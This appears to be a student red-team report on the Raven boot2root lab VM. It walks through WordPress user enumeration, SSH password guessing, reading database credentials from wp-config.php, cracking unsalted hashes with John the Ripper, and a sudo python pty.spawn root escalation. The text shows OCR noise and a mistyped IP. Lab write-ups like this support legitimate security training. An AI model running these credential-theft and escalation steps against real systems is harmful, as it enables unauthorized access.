Red Team: Summary of Operations

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Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

\$ nmap -sV192.168.1.110

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22 ssh
 - o Port 80 http
 - o Port 111 rcpbind
 - o Port 139 netbios-ssm
 - o Port 445 netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - Wordpress enumberation
 - Very weak passwords
 - Unencrypted MySQL config file
 - o Insecure privilege escalation

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - flag1.txt: b9bbcb33e11b80be759c4e844862482d
 - Exploit Used
 - WPscan was used
 - o wpscan --url 192.168.1.110/wordpress --enumerate u
 - Going through and manually guessing michael's weak passwords we found it was michael

- From there we used michael's login and weak password to ssh into target1: ssh michael@192.169.1.110.
- Used find -iname flag* and found flag2 and navigated over to it. Then looking through the adjacent directory we found flag1 in the service.html file.

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# End footer Area →
# Flag1{b9bbcb33e11b80be759c4e844862482d} →
# Script src="is/vendor/iguery-2.2.4.min.is">
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- flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c
- Exploit Used
 - The same as flag 1
 - We ended up finding it before we found flag1 when using find -iname flag*

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michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
You have new mail in /var/mail/michael
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- flag3: afc01ab56b50591e7dccf93122770cd2
- Exploit Used
 - The same as flags1 and 2 while also taking advantage of the unencrypted wordpress config file. Opened the wp-config.php file to find the MySQL database user, password, and hostname.
 - Then we moved into the SQL database using the command: mysql -h
 localhost -u root -p wordpress. We entered the password we found in
 the wp-config.php file R@v3nSecurity.
 - Looking through the SQL database we found flag3 in the wp_posts table.

- Flag4.txt: 715dea6c055b9fe3337544932f2941ce
- Exploit Used
 - John the Ripper on unsalted password hashes and privilege escalation with Python.

- While in the MySQL database we looked at the wp_users table as well and found the unsalted hashes for both michael and steven.
- After that we made a .txt document to use with John the ripper. Running John command: john wp_hashes.txt. After a few minutes the user2's (steven's) password was cracked and the result was pink84.
- From there we logged in to target1 as steven: ssh steven@192.168.1.110.
- Using a pty.spawn we were able to create a tty shell and escalate privileges to gain root access: sudo python -c 'import pty;pty.spawn("/bin/bash")'.
- After gaining root access we navigated to the home folder and found flag4.txt

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0g 0:00:02:23 3/3 0g/s 4721p/s
pink84 (user2)
1g 0:00:13:23 3/3 0.001245g/s
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\$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven#

flag4.txt root@target1:~# cat flag4.txt
I File (viter)
11//
<u> </u>
\ \ C \ \ \ / _/
flag4{715dea6c055b9fe3337544932f2941ce}
CONGRATULATIONS on successfully rooting Raven!
This is my first Boot2Root VM - I hope you enjoyed it.
Hit me up on Twitter and let me know what you thought:
@mccannwj / wjmccann.github.io root@target1:~# ■